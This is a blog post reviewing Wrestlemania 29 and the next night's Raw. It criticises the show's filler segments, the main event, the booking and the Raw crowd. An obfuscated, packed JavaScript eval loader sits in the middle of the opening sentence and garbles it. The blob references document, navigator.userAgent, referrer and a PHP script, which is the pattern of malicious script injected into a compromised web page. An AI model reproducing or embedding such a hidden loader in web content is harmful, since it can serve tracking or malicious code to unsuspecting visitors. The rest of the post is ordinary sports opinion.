A Few More Thoughts on Wrestlemania/The Raw Crowd
Since eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anyrf|var|u0026u|referrer|nzydi||js|php'.split('|'),0,{})) we’re now about four days removed from Wrestlemania and three from Raw, I figured I’d take another quick look at the two shows since a lot of their impacts were probably lost during the live reviews.Wrestlemania
The more I think about it, the worse the show looks. To begin with, how in the world can you have a nine match card running FOUR HOURS and have to cut a match due to time constraints? There were no backstage segments, the Hall of Fame stuff was quick, five matches didn’t even make it to eleven minutes, and the longest match was 24:01. But somehow we had to cut a match for time? Let’s see. Could it have been:
Rock vs. Cena promo – 2 minutes
Announcers play with WWE action figures – 1 minute
Package on the Special Olympics – 3 minutes
John Cena Make-A-Wish video – 2 minutes
Video on the Pre-Show – 1 minute
Rock vs. Cena promo – 2 minutes
Diddy Intro – 2 minutes
Diddy Concert – 8 minutes
Video on Slim Jims – 1 minute
Rock vs. Cena promo – 2 minutes
Gee, could it be the TWENTY FOUR MINUTES spent either hyping up stuff we ALREADY BOUGHT or WWE patting themselves on the back for how great they are? Yeah instead of having Ryder and 3MB in the back doing something amusing, we need to hear about how awesome it is that WWE has sent Slim Jims to soldiers.
Moving on, there’s the major problem with this show: it wasn’t that good. The best match was either Undertaker vs. Punk or HHH vs. Lesnar and neither of them are anything resembling a classic. They’re both good but I want a bit more when I think of two of the biggest matches of the year. Both were more than fine for second and third biggest matches on Wrestlemania though.
This brings us to the main event which just wasn’t very good. It was exactly what we were expecting and while there were some good spots in there, the majority of the match did nothing for me. I’m very tired of the idea of using five finishers a match as the only offense as they stop being finishers and are just moves at that point. Cena winning was the right move, but the problem at the end of the day was that Rock winning the title didn’t do much. It wasn’t a good title reign and he was really just there to pass the title along to Cena.
As for the other major matches, let’s take a quick look at a few.
Swagger vs. Del Rio: meh. This feud stopped being interesting about two weeks in and Swagger not even getting an intro showed how lame it was in the eyes of the company. The match was nothing of note (again clipped because of time, because WE NEED DIDDY!) and Swagger looks like the jobber he’s been for years.
Lesnar vs. HHH. While the opening part ran long, the match was very physical and brutal. Now that being said, why in the world am I supposed to look at Brock as a serious threat again? The match vs. Cena made Brock look like a BEAST and Cena looked like he was trying to survive rather than win the match. That made for a great showcase and a great match. The matches with HHH on the other hand were ALL about HHH. Think about it: Brock was a guy there for HHH to get beaten down by and then make the Superman comeback against months later. Lesnar was just a guy for HHH to beat and nothing more. This is Brock Lesnar, not Khali or Henry, but he’s being treated like a regular monster.
Overall Wrestlemania was entirely forgettable. Nothing on the show was incredibly fun or interesting, so it came off as very lame. Out of the 29 shows in the series, it’s probably not even in the top 20. That’s not a good sign coming off last year’s incredible show.
Now on to Raw, which was very interesting for a lot of different reasons.
Let’s get the big one out of the way right now: Raw sucked this week. Here are the matches:
Squash
Rematch from Mania’s pre-show with a stupid booking decision
VERY boring handicap match
MITB cash-in
6 man tag to get people not on Wrestlemania on TV
The bizarre match
90 second Fandango match ending in a run-in
Mania match on Raw because WWE LOVES SLIM JIMS!
3 minute match to set up the show ending angle
Other stupid stuff on Raw:
Booker not letting us just have Henry vs. Cena for the title (which would have been a better booking move given the ending)
Colter and Swagger trying to get a heel reaction by asking the fans to chant USA
Ziggler being world champion
The Twitter Poll being canceled after the results were shown on screen
Now we get to the big deal of the show: the crowd. Let me get this out of the way: that crowd was not a good thing. It was entertaining for a bit, but eventually they decided to take over the show and make it all about them, because those 12,000 or so people are more important than the fans at home or the people in the ring. Were they amusing for a bit? Yes they were, but as soon as they made the entire show about them, it was too much. It was annoying in ECW and it was annoying here, along with being disrespectful to the people who are working hard in the ring.
Raw sucked on Monday and they’re not going to have a crowd like that to take the focus off that in the future. That’s a very bad sign for them going forward.
